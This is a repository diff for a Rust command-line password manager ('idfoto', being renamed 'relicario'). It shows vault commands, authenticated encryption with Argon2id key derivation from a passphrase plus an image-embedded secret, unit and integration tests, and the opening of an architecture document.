.context("failed to write manifest.enc")?;
// 11. Create .gitignore
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")
.context("failed to write .gitignore")?;
// 12. Git init and commit
let status = Command::new("git").arg("init").status()?;
if !status.success() {
bail!("git init failed");
}
git_commit("feat: initialize idfoto vault")?;
// 13. Success
eprintln!("Vault initialized successfully.");
eprintln!("IMPORTANT: Keep your reference image safe — you need it to unlock the vault.");
Ok(())
}
fn cmd_generate(length: usize) -> Result<()> {
println!("{}", generate_password(length));
Ok(())
}
fn cmd_add() -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let name = prompt("Name")?;
if name.is_empty() {
bail!("Name cannot be empty");
}
let url = prompt_optional("URL (optional)")?;
let username = prompt_optional("Username (optional)")?;
let password = {
let p = prompt_optional("Password (Enter to auto-generate)")?;
match p {
Some(pw) if !pw.is_empty() => pw,
_ => {
let gen = generate_password(20);
eprintln!("Generated password: {}", gen);
gen
}
}
};
let notes = prompt_optional("Notes (optional)")?;
let totp_secret = prompt_optional("TOTP secret (optional)")?;
let now = now_iso8601();
let entry = Entry {
name: name.clone(),
url: url.clone(),
username: username.clone(),
password,
notes,
totp_secret,
created_at: now.clone(),
updated_at: now.clone(),
};
let entry_id = generate_entry_id();
let encrypted = encrypt_entry(&master_key, &entry).context("failed to encrypt entry")?;
fs::write(
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
encrypted,
)
.context("failed to write entry file")?;
let mut manifest = read_manifest(&master_key)?;
manifest.add_entry(
entry_id.clone(),
ManifestEntry {
name: name.clone(),
url,
username,
updated_at: now,
},
);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: add entry '{}'", name))?;
eprintln!("Entry '{}' added (id: {})", name, entry_id);
Ok(())
}
fn search_and_select(manifest: &Manifest, query: &str) -> Result<(String, ManifestEntry)> {
let results = manifest.search(query);
if results.is_empty() {
bail!("no entries matching '{}'", query);
}
if results.len() == 1 {
let (id, entry) = results[0];
return Ok((id.clone(), entry.clone()));
}
eprintln!("Multiple matches:");
for (i, (id, entry)) in results.iter().enumerate() {
eprintln!(
" {}) {} (id: {}, url: {})",
i + 1,
entry.name,
id,
entry.url.as_deref().unwrap_or("-")
);
}
let choice = prompt("Choose entry number")?;
let idx: usize = choice.parse::<usize>().context("invalid number")? - 1;
if idx >= results.len() {
bail!("invalid selection");
}
let (id, entry) = results[idx];
Ok((id.clone(), entry.clone()))
}
fn cmd_get(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, _) = search_and_select(&manifest, &query)?;
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
.context("failed to read entry file")?;
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
println!("Name: {}", entry.name);
println!(
"URL: {}",
entry.url.as_deref().unwrap_or("-")
);
println!(
"Username: {}",
entry.username.as_deref().unwrap_or("-")
);
println!("Password: {}", entry.password);
if let Some(notes) = &entry.notes {
println!("Notes: {}", notes);
}
if let Some(totp) = &entry.totp_secret {
println!("TOTP: {}", totp);
}
// Copy password to clipboard with 30s TTL
match arboard::Clipboard::new() {
Ok(mut clipboard) => {
if clipboard.set_text(&entry.password).is_ok() {
eprintln!("Password copied to clipboard (clearing in 30s)");
let pw = entry.password.clone();
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_secs(30));
if let Ok(mut cb) = arboard::Clipboard::new() {
if let Ok(current) = cb.get_text() {
if current == pw {
let _ = cb.set_text("");
}
}
}
});
}
}
Err(_) => {
eprintln!("(clipboard unavailable)");
}
}
Ok(())
}
fn cmd_list() -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let mut entries: Vec<_> = manifest.entries.iter().collect();
entries.sort_by(|a, b| a.1.name.to_lowercase().cmp(&b.1.name.to_lowercase()));
if entries.is_empty() {
eprintln!("No entries in vault.");
return Ok(());
}
println!("{:<10} {:<30} {:<30} {}", "ID", "Name", "URL", "Username");
println!("{}", "-".repeat(80));
for (id, entry) in entries {
println!(
"{:<10} {:<30} {:<30} {}",
id,
entry.name,
entry.url.as_deref().unwrap_or("-"),
entry.username.as_deref().unwrap_or("-")
);
}
Ok(())
}
fn cmd_edit(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, _) = search_and_select(&manifest, &query)?;
let data = fs::read(vault_dir().join("entries").join(format!("{}.enc", entry_id)))
.context("failed to read entry file")?;
let entry = decrypt_entry(&master_key, &data).context("failed to decrypt entry")?;
eprintln!("Editing '{}' (Enter to keep current value)", entry.name);
let name = prompt_with_default("Name", &entry.name)?;
let url = prompt_with_default("URL", entry.url.as_deref().unwrap_or(""))?;
let url = if url.is_empty() { None } else { Some(url) };
let username = prompt_with_default("Username", entry.username.as_deref().unwrap_or(""))?;
let username = if username.is_empty() {
None
} else {
Some(username)
};
let password = prompt_with_default("Password", &entry.password)?;
let notes = prompt_with_default("Notes", entry.notes.as_deref().unwrap_or(""))?;
let notes = if notes.is_empty() { None } else { Some(notes) };
let totp_secret = prompt_with_default("TOTP secret", entry.totp_secret.as_deref().unwrap_or(""))?;
let totp_secret = if totp_secret.is_empty() {
None
} else {
Some(totp_secret)
};
let now = now_iso8601();
let updated_entry = Entry {
name: name.clone(),
url: url.clone(),
username: username.clone(),
password,
notes,
totp_secret,
created_at: entry.created_at,
updated_at: now.clone(),
};
let encrypted = encrypt_entry(&master_key, &updated_entry).context("failed to encrypt entry")?;
fs::write(
vault_dir().join("entries").join(format!("{}.enc", entry_id)),
encrypted,
)
.context("failed to write entry file")?;
let mut manifest = read_manifest(&master_key)?;
manifest.add_entry(
entry_id,
ManifestEntry {
name: name.clone(),
url,
username,
updated_at: now,
},
);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: edit entry '{}'", name))?;
eprintln!("Entry '{}' updated.", name);
Ok(())
}
fn cmd_rm(query: String) -> Result<()> {
let image_path = get_image_path()?;
let master_key = unlock(&image_path)?;
let manifest = read_manifest(&master_key)?;
let (entry_id, entry) = search_and_select(&manifest, &query)?;
let confirm = prompt(&format!("Delete '{}' (id: {})? [y/N]", entry.name, entry_id))?;
if confirm.to_lowercase() != "y" {
eprintln!("Cancelled.");
return Ok(());
}
let entry_path = vault_dir()
.join("entries")
.join(format!("{}.enc", entry_id));
if entry_path.exists() {
fs::remove_file(&entry_path).context("failed to remove entry file")?;
}
let mut manifest = read_manifest(&master_key)?;
manifest.remove_entry(&entry_id);
write_manifest(&master_key, &manifest)?;
git_commit(&format!("feat: remove entry '{}'", entry.name))?;
eprintln!("Entry '{}' removed.", entry.name);
Ok(())
}
fn cmd_sync() -> Result<()> {
eprintln!("Pulling...");
let status = Command::new("git")
.args(["pull", "--rebase"])
.status()
.context("failed to run git pull")?;
if !status.success() {
bail!("git pull --rebase failed");
}
eprintln!("Pushing...");
let status = Command::new("git")
.arg("push")
.status()
.context("failed to run git push")?;
if !status.success() {
bail!("git push failed");
}
eprintln!("Sync complete.");
Ok(())
}
// ─── Device management ──────────────────────────────────────────────────────
fn read_devices() -> Result<Vec<DeviceEntry>> {
let path = idfoto_dir().join("devices.json");
let data = fs::read_to_string(&path).context("failed to read devices.json")?;
let devices: Vec<DeviceEntry> = serde_json::from_str(&data).context("failed to parse devices.json")?;
Ok(devices)
}
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
let data = serde_json::to_string_pretty(devices)?;
fs::write(idfoto_dir().join("devices.json"), data).context("failed to write devices.json")?;
Ok(())
}
fn cmd_device_add(name: String) -> Result<()> {
use ed25519_dalek::SigningKey;
let mut devices = read_devices()?;
// Check for duplicate
if devices.iter().any(|d| d.name == name) {
bail!("device '{}' already exists", name);
}
// Generate ed25519 keypair
let signing_key = SigningKey::generate(&mut OsRng);
let verifying_key = signing_key.verifying_key();
let private_key_hex = hex::encode(signing_key.to_bytes());
let public_key_hex = hex::encode(verifying_key.to_bytes());
// Save private key
let config_dir = dirs::config_dir()
.context("failed to find config directory")?
.join("idfoto");
fs::create_dir_all(&config_dir).context("failed to create config directory")?;
let key_path = config_dir.join(format!("{}.key", name));
fs::write(&key_path, &private_key_hex).context("failed to write private key")?;
// Set restrictive permissions on the key file (Unix only)
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(&key_path, fs::Permissions::from_mode(0o600))?;
}
// Add to devices.json
devices.push(DeviceEntry {
name: name.clone(),
public_key: public_key_hex,
});
write_devices(&devices)?;
git_commit(&format!("feat: add device '{}'", name))?;
eprintln!("Device '{}' added.", name);
eprintln!("Private key saved to {}", key_path.display());
Ok(())
}
fn cmd_device_list() -> Result<()> {
let devices = read_devices()?;
if devices.is_empty() {
eprintln!("No devices registered.");
return Ok(());
}
println!("{:<20} {}", "Name", "Public Key");
println!("{}", "-".repeat(60));
for device in &devices {
println!("{:<20} {}", device.name, device.public_key);
}
Ok(())
}
fn cmd_device_revoke(name: String) -> Result<()> {
let mut devices = read_devices()?;
let initial_len = devices.len();
devices.retain(|d| d.name != name);
if devices.len() == initial_len {
bail!("device '{}' not found", name);
}
write_devices(&devices)?;
git_commit(&format!("feat: revoke device '{}'", name))?;
eprintln!("Device '{}' revoked.", name);
Ok(())
}
// ─── Main ───────────────────────────────────────────────────────────────────
fn main() -> Result<()> {
let cli = Cli::parse();
match cli.command {
Commands::Init { image, output } => cmd_init(image, output),
Commands::Add => cmd_add(),
Commands::Get { name } => cmd_get(name),
Commands::List => cmd_list(),
Commands::Edit { name } => cmd_edit(name),
Commands::Rm { name } => cmd_rm(name),
Commands::Sync => cmd_sync(),
Commands::Generate { length } => cmd_generate(length),
Commands::Device { action } => match action {
DeviceCommands::Add { name } => cmd_device_add(name),
DeviceCommands::List => cmd_device_list(),
DeviceCommands::Revoke { name } => cmd_device_revoke(name),
},
}
}

View File

@@ -1,18 +0,0 @@
[package]
name = "idfoto-core"
version = "0.1.0"
edition = "2021"
description = "Core library for idfoto password manager"
[dependencies]
thiserror = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
argon2 = "0.5"
chacha20poly1305 = "0.10"
rand = "0.8"
sha2 = "0.10"
ed25519-dalek = { version = "2", features = ["rand_core"] }
image = { version = "0.25", default-features = false, features = ["jpeg"] }
[dev-dependencies]

View File

@@ -1,212 +0,0 @@
use argon2::{Algorithm, Argon2, Params, Version};
use chacha20poly1305::{
aead::{Aead, KeyInit},
XChaCha20Poly1305, XNonce,
};
use rand::{rngs::OsRng, RngCore};
use serde::{Deserialize, Serialize};
use crate::error::{IdfotoError, Result};
const VERSION_BYTE: u8 = 0x01;
const NONCE_LEN: usize = 24;
const TAG_LEN: usize = 16;
const HEADER_LEN: usize = 1 + NONCE_LEN; // version + nonce
pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
let mut nonce_bytes = [0u8; NONCE_LEN];
OsRng.fill_bytes(&mut nonce_bytes);
let nonce = XNonce::from(nonce_bytes);
let ciphertext = cipher
.encrypt(&nonce, plaintext)
.map_err(|e| IdfotoError::Encrypt(e.to_string()))?;
// Output: version(1) || nonce(24) || ciphertext+tag
let mut output = Vec::with_capacity(HEADER_LEN + ciphertext.len());
output.push(VERSION_BYTE);
output.extend_from_slice(&nonce_bytes);
output.extend_from_slice(&ciphertext);
Ok(output)
}
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
if data.len() < HEADER_LEN + TAG_LEN {
return Err(IdfotoError::Format(
"data too short to be valid ciphertext".into(),
));
}
let version = data[0];
if version != VERSION_BYTE {
return Err(IdfotoError::Format(format!(
"unknown version byte: 0x{:02x}",
version
)));
}
let nonce = XNonce::from_slice(&data[1..1 + NONCE_LEN]);
let ciphertext = &data[HEADER_LEN..];
let cipher = XChaCha20Poly1305::new(key.into());
let plaintext = cipher
.decrypt(nonce, ciphertext)
.map_err(|_| IdfotoError::Decrypt)?;
Ok(plaintext)
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct KdfParams {
pub argon2_m: u32,
pub argon2_t: u32,
pub argon2_p: u32,
}
impl Default for KdfParams {
fn default() -> Self {
Self {
argon2_m: 65536,
argon2_t: 3,
argon2_p: 4,
}
}
}
pub fn derive_master_key(
passphrase: &[u8],
image_secret: &[u8; 32],
salt: &[u8; 32],
params: &KdfParams,
) -> Result<[u8; 32]> {
let argon2_params = Params::new(
params.argon2_m,
params.argon2_t,
params.argon2_p,
Some(32),
)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
// Concatenate passphrase + image_secret as the password input
let mut password = Vec::with_capacity(passphrase.len() + 32);
password.extend_from_slice(passphrase);
password.extend_from_slice(image_secret);
let mut output = [0u8; 32];
argon2
.hash_password_into(&password, salt, &mut output)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
Ok(output)
}
#[cfg(test)]
mod tests {
use super::*;
fn fast_params() -> KdfParams {
KdfParams {
argon2_m: 256,
argon2_t: 1,
argon2_p: 1,
}
}
#[test]
fn derive_master_key_deterministic() {
let passphrase = b"test-passphrase";
let image_secret = [0x42u8; 32];
let salt = [0x01u8; 32];
let params = fast_params();
let key1 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
assert_eq!(key1, key2);
}
#[test]
fn derive_master_key_different_passphrase() {
let image_secret = [0x42u8; 32];
let salt = [0x01u8; 32];
let params = fast_params();
let key1 = derive_master_key(b"passphrase-one", &image_secret, &salt, &params).unwrap();
let key2 = derive_master_key(b"passphrase-two", &image_secret, &salt, &params).unwrap();
assert_ne!(key1, key2);
}
#[test]
fn derive_master_key_different_image_secret() {
let passphrase = b"test-passphrase";
let salt = [0x01u8; 32];
let params = fast_params();
let image_secret1 = [0x11u8; 32];
let image_secret2 = [0x22u8; 32];
let key1 = derive_master_key(passphrase, &image_secret1, &salt, &params).unwrap();
let key2 = derive_master_key(passphrase, &image_secret2, &salt, &params).unwrap();
assert_ne!(key1, key2);
}
#[test]
fn encrypt_decrypt_round_trip() {
let key = [0xABu8; 32];
let plaintext = b"hello, idfoto!";
let ciphertext = encrypt(&key, plaintext).unwrap();
let decrypted = decrypt(&key, &ciphertext).unwrap();
assert_eq!(decrypted, plaintext);
}
#[test]
fn decrypt_wrong_key_fails() {
let key = [0xABu8; 32];
let wrong_key = [0xCDu8; 32];
let plaintext = b"sensitive data";
let ciphertext = encrypt(&key, plaintext).unwrap();
let result = decrypt(&wrong_key, &ciphertext);
assert!(result.is_err());
assert!(matches!(result.unwrap_err(), IdfotoError::Decrypt));
}
#[test]
fn decrypt_tampered_data_fails() {
let key = [0xABu8; 32];
let plaintext = b"sensitive data";
let mut ciphertext = encrypt(&key, plaintext).unwrap();
// Flip a byte in the ciphertext portion (after header)
let flip_pos = HEADER_LEN + 2;
ciphertext[flip_pos] ^= 0xFF;
let result = decrypt(&key, &ciphertext);
assert!(result.is_err());
}
#[test]
fn ciphertext_format_has_correct_structure() {
let key = [0x11u8; 32];
let plaintext = b"test plaintext for structure check";
let ciphertext = encrypt(&key, plaintext).unwrap();
// Expected length: 1 (version) + 24 (nonce) + plaintext_len + 16 (tag)
let expected_len = 1 + 24 + plaintext.len() + 16;
assert_eq!(ciphertext.len(), expected_len);
// Version byte must be 0x01
assert_eq!(ciphertext[0], 0x01);
}
}

View File

@@ -1,194 +0,0 @@
use rand::Rng;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
/// A single password entry (stored encrypted in entries/<id>.enc).
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Entry {
pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
pub password: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub notes: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub totp_secret: Option<String>,
pub created_at: String,
pub updated_at: String,
}
/// Summary info about an entry (stored in the manifest).
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ManifestEntry {
pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
pub updated_at: String,
}
/// The vault manifest — maps entry IDs to their metadata.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Manifest {
pub entries: HashMap<String, ManifestEntry>,
pub version: u32,
}
impl Manifest {
pub fn new() -> Self {
Manifest {
entries: HashMap::new(),
version: 1,
}
}
pub fn add_entry(&mut self, id: String, entry: ManifestEntry) {
self.entries.insert(id, entry);
}
pub fn remove_entry(&mut self, id: &str) -> Option<ManifestEntry> {
self.entries.remove(id)
}
pub fn search(&self, query: &str) -> Vec<(&String, &ManifestEntry)> {
let q = query.to_lowercase();
self.entries
.iter()
.filter(|(_, e)| {
e.name.to_lowercase().contains(&q)
|| e.url
.as_deref()
.map(|u| u.to_lowercase().contains(&q))
.unwrap_or(false)
})
.collect()
}
}
impl Default for Manifest {
fn default() -> Self {
Self::new()
}
}
/// Generate a random 8-character hex string to use as an entry ID.
pub fn generate_entry_id() -> String {
let mut rng = rand::thread_rng();
let bytes: [u8; 4] = rng.gen();
bytes.iter().map(|b| format!("{:02x}", b)).collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn entry_serialization_round_trip() {
let entry = Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "s3cr3t".to_string(),
notes: None,
totp_secret: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
let json = serde_json::to_string(&entry).unwrap();
let decoded: Entry = serde_json::from_str(&json).unwrap();
assert_eq!(decoded.name, entry.name);
assert_eq!(decoded.url, entry.url);
assert_eq!(decoded.username, entry.username);
assert_eq!(decoded.password, entry.password);
assert_eq!(decoded.notes, entry.notes);
}
#[test]
fn manifest_add_and_lookup() {
let mut manifest = Manifest::new();
let me = ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
manifest.add_entry("abc12345".to_string(), me);
assert!(manifest.entries.contains_key("abc12345"));
assert_eq!(manifest.entries["abc12345"].name, "GitHub");
let removed = manifest.remove_entry("abc12345");
assert!(removed.is_some());
assert!(!manifest.entries.contains_key("abc12345"));
}
#[test]
fn manifest_serialization_round_trip() {
let mut manifest = Manifest::new();
manifest.add_entry(
"deadbeef".to_string(),
ManifestEntry {
name: "Gmail".to_string(),
url: Some("https://mail.google.com".to_string()),
username: Some("user@gmail.com".to_string()),
updated_at: "2024-06-01T00:00:00Z".to_string(),
},
);
let json = serde_json::to_string(&manifest).unwrap();
let decoded: Manifest = serde_json::from_str(&json).unwrap();
assert_eq!(decoded.version, 1);
assert!(decoded.entries.contains_key("deadbeef"));
assert_eq!(decoded.entries["deadbeef"].name, "Gmail");
}
#[test]
fn generate_entry_id_is_8_hex_chars() {
let id = generate_entry_id();
assert_eq!(id.len(), 8);
assert!(id.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
fn manifest_search_case_insensitive() {
let mut manifest = Manifest::new();
manifest.add_entry(
"id001".to_string(),
ManifestEntry {
name: "GitHub Account".to_string(),
url: Some("https://github.com".to_string()),
username: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
manifest.add_entry(
"id002".to_string(),
ManifestEntry {
name: "Work Email".to_string(),
url: Some("https://mail.example.com".to_string()),
username: None,
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
// partial name match, case-insensitive
let results = manifest.search("github");
assert_eq!(results.len(), 1);
assert_eq!(results[0].1.name, "GitHub Account");
// partial URL match
let results = manifest.search("mail.example");
assert_eq!(results.len(), 1);
assert_eq!(results[0].1.name, "Work Email");
// no match
let results = manifest.search("nonexistent");
assert_eq!(results.len(), 0);
}
}

View File

@@ -1,41 +0,0 @@
use thiserror::Error;
#[derive(Debug, Error)]
pub enum IdfotoError {
#[error("key derivation failed: {0}")]
Kdf(String),
#[error("encryption failed: {0}")]
Encrypt(String),
#[error("decryption failed: wrong key or corrupted data")]
Decrypt,
#[error("invalid vault format: {0}")]
Format(String),
#[error("entry not found: {0}")]
EntryNotFound(String),
#[error("imgsecret: {0}")]
ImgSecret(String),
#[error("image too small: need at least {min_width}x{min_height}, got {actual_width}x{actual_height}")]
ImageTooSmall {
min_width: u32,
min_height: u32,
actual_width: u32,
actual_height: u32,
},
#[error("extraction failed: no valid secret found in image")]
ExtractionFailed,
#[error("json error: {0}")]
Json(#[from] serde_json::Error),
#[error("device key error: {0}")]
DeviceKey(String),
}
pub type Result<T> = std::result::Result<T, IdfotoError>;

View File

@@ -1,13 +0,0 @@
pub mod error;
pub use error::{IdfotoError, Result};
pub mod crypto;
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams};
pub mod entry;
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub mod vault;
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
pub mod imgsecret;

View File

@@ -1,99 +0,0 @@
use crate::crypto;
use crate::entry::{Entry, Manifest};
use crate::error::Result;
pub fn encrypt_entry(master_key: &[u8; 32], entry: &Entry) -> Result<Vec<u8>> {
let json = serde_json::to_vec(entry)?;
crypto::encrypt(master_key, &json)
}
pub fn decrypt_entry(master_key: &[u8; 32], data: &[u8]) -> Result<Entry> {
let json = crypto::decrypt(master_key, data)?;
let entry: Entry = serde_json::from_slice(&json)?;
Ok(entry)
}
pub fn encrypt_manifest(master_key: &[u8; 32], manifest: &Manifest) -> Result<Vec<u8>> {
let json = serde_json::to_vec(manifest)?;
crypto::encrypt(master_key, &json)
}
pub fn decrypt_manifest(master_key: &[u8; 32], data: &[u8]) -> Result<Manifest> {
let json = crypto::decrypt(master_key, data)?;
let manifest: Manifest = serde_json::from_slice(&json)?;
Ok(manifest)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::entry::ManifestEntry;
fn test_key_a() -> [u8; 32] {
[0x42u8; 32]
}
fn test_key_b() -> [u8; 32] {
[0x99u8; 32]
}
fn sample_entry() -> Entry {
Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "secret123".to_string(),
notes: None,
totp_secret: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
}
}
#[test]
fn entry_encrypt_decrypt_round_trip() {
let key = test_key_a();
let entry = sample_entry();
let ciphertext = encrypt_entry(&key, &entry).unwrap();
let decoded = decrypt_entry(&key, &ciphertext).unwrap();
assert_eq!(decoded.name, "GitHub");
assert_eq!(decoded.password, "secret123");
assert_eq!(decoded.username, Some("alice".to_string()));
}
#[test]
fn manifest_encrypt_decrypt_round_trip() {
let key = test_key_a();
let mut manifest = Manifest::new();
manifest.add_entry(
"deadbeef".to_string(),
ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
let ciphertext = encrypt_manifest(&key, &manifest).unwrap();
let decoded = decrypt_manifest(&key, &ciphertext).unwrap();
assert_eq!(decoded.version, 1);
assert!(decoded.entries.contains_key("deadbeef"));
assert_eq!(decoded.entries["deadbeef"].name, "GitHub");
}
#[test]
fn entry_wrong_key_fails() {
let key_a = test_key_a();
let key_b = test_key_b();
let entry = sample_entry();
let ciphertext = encrypt_entry(&key_a, &entry).unwrap();
let result = decrypt_entry(&key_b, &ciphertext);
assert!(result.is_err());
}
}

View File

@@ -1,151 +0,0 @@
use idfoto_core::{
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
};
use rand::RngCore;
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
use image::{ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(width, height, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut buf = Vec::new();
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(img.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.unwrap();
buf
}
fn fast_params() -> KdfParams {
KdfParams {
argon2_m: 256,
argon2_t: 1,
argon2_p: 1,
}
}
#[test]
fn full_vault_workflow() {
// 1. Generate carrier JPEG
let carrier = make_test_jpeg(400, 300);
// 2. Generate random image_secret and embed
let mut image_secret = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret);
let stego = idfoto_core::imgsecret::embed(&carrier, &image_secret).unwrap();
// 3. Extract and verify
let extracted = idfoto_core::imgsecret::extract(&stego).unwrap();
assert_eq!(extracted, image_secret, "extracted image_secret must match embedded");
// 4. Derive master_key with fast params
let passphrase = b"test-passphrase-long-enough";
let mut salt = [0u8; 32];
rand::thread_rng().fill_bytes(&mut salt);
let params = fast_params();
let master_key = derive_master_key(passphrase, &image_secret, &salt, &params).unwrap();
// 5. Create and encrypt an Entry
let entry = Entry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
password: "supersecret123!".to_string(),
notes: Some("my main account".to_string()),
totp_secret: None,
created_at: "2024-01-01T00:00:00Z".to_string(),
updated_at: "2024-01-01T00:00:00Z".to_string(),
};
let encrypted = encrypt_entry(&master_key, &entry).unwrap();
// 6. Decrypt and verify fields match
let decrypted = decrypt_entry(&master_key, &encrypted).unwrap();
assert_eq!(decrypted.name, "GitHub");
assert_eq!(decrypted.password, "supersecret123!");
assert_eq!(decrypted.username, Some("alice".to_string()));
assert_eq!(decrypted.url, Some("https://github.com".to_string()));
assert_eq!(decrypted.notes, Some("my main account".to_string()));
// 7. Wrong passphrase -> different key -> decrypt fails
let wrong_key = derive_master_key(b"wrong-passphrase-entirely", &image_secret, &salt, &params).unwrap();
assert!(
decrypt_entry(&wrong_key, &encrypted).is_err(),
"decryption with wrong passphrase must fail"
);
// 8. Wrong image_secret -> different key -> decrypt fails
let mut wrong_secret = [0u8; 32];
rand::thread_rng().fill_bytes(&mut wrong_secret);
// Make sure it's actually different
if wrong_secret == image_secret {
wrong_secret[0] ^= 0xFF;
}
let wrong_key2 = derive_master_key(passphrase, &wrong_secret, &salt, &params).unwrap();
assert!(
decrypt_entry(&wrong_key2, &encrypted).is_err(),
"decryption with wrong image_secret must fail"
);
// 9. Manifest round-trip
let entry_id = generate_entry_id();
let mut manifest = Manifest::new();
manifest.add_entry(
entry_id.clone(),
ManifestEntry {
name: "GitHub".to_string(),
url: Some("https://github.com".to_string()),
username: Some("alice".to_string()),
updated_at: "2024-01-01T00:00:00Z".to_string(),
},
);
let manifest_enc = encrypt_manifest(&master_key, &manifest).unwrap();
let manifest_dec = decrypt_manifest(&master_key, &manifest_enc).unwrap();
assert_eq!(manifest_dec.version, 1);
assert!(manifest_dec.entries.contains_key(&entry_id));
assert_eq!(manifest_dec.entries[&entry_id].name, "GitHub");
}
#[test]
fn two_factor_independence() {
let mut salt = [0u8; 32];
rand::thread_rng().fill_bytes(&mut salt);
let params = fast_params();
let passphrase_a = b"passphrase-alpha";
let passphrase_b = b"passphrase-bravo";
let mut image_secret_a = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret_a);
let mut image_secret_b = [0u8; 32];
rand::thread_rng().fill_bytes(&mut image_secret_b);
// Ensure they differ
if image_secret_a == image_secret_b {
image_secret_b[0] ^= 0xFF;
}
// 1. (passphrase_A, image_A)
let key_aa = derive_master_key(passphrase_a, &image_secret_a, &salt, &params).unwrap();
// 2. (passphrase_B, image_A) -> different from #1
let key_ba = derive_master_key(passphrase_b, &image_secret_a, &salt, &params).unwrap();
assert_ne!(key_aa, key_ba, "different passphrase must produce different key");
// 3. (passphrase_A, image_B) -> different from #1
let key_ab = derive_master_key(passphrase_a, &image_secret_b, &salt, &params).unwrap();
assert_ne!(key_aa, key_ab, "different image_secret must produce different key");
// 4. (passphrase_B, image_B) -> different from all above
let key_bb = derive_master_key(passphrase_b, &image_secret_b, &salt, &params).unwrap();
assert_ne!(key_bb, key_aa, "key_bb must differ from key_aa");
assert_ne!(key_bb, key_ba, "key_bb must differ from key_ba");
assert_ne!(key_bb, key_ab, "key_bb must differ from key_ab");
}

View File

@@ -0,0 +1,539 @@
# Architecture: relicario-cli
## What this crate is for
The `relicario` binary is the platform layer for `relicario-core`: it adds
filesystem layout, a hardened `git` shell-out, interactive `rpassword` prompts,
clipboard handoff, and a clap-based command surface. The crate has two design
roles. First, it is the developer / power-user surface that exposes everything
the core can do (every `ItemCore` variant, every `VaultSettings` knob, history
inspection, device key management). Second, it is the only working interface
during disaster recovery — the extension may be uninstalled, the device may be
new — so it intentionally maintains feature parity with the extension's vault
tab. It deliberately shells out to `git` rather than depending on libgit2 /
gitoxide; this keeps the dep tree slim, lets the user override `git` config
locally, and lets recovery debugging happen with familiar tooling.
## Module map
The crate is three files of source and a `tests/` directory. Each source file
has one job.
- **`src/main.rs`** (`main.rs:1-1719`) — clap surface plus every command
handler. Internal structure: a top-level `Cli` / `Commands` enum
(`main.rs:13-275`), a flat dispatcher `match` in `main()`
(`main.rs:277-303`), per-command handlers named `cmd_<verb>`, and a layer of
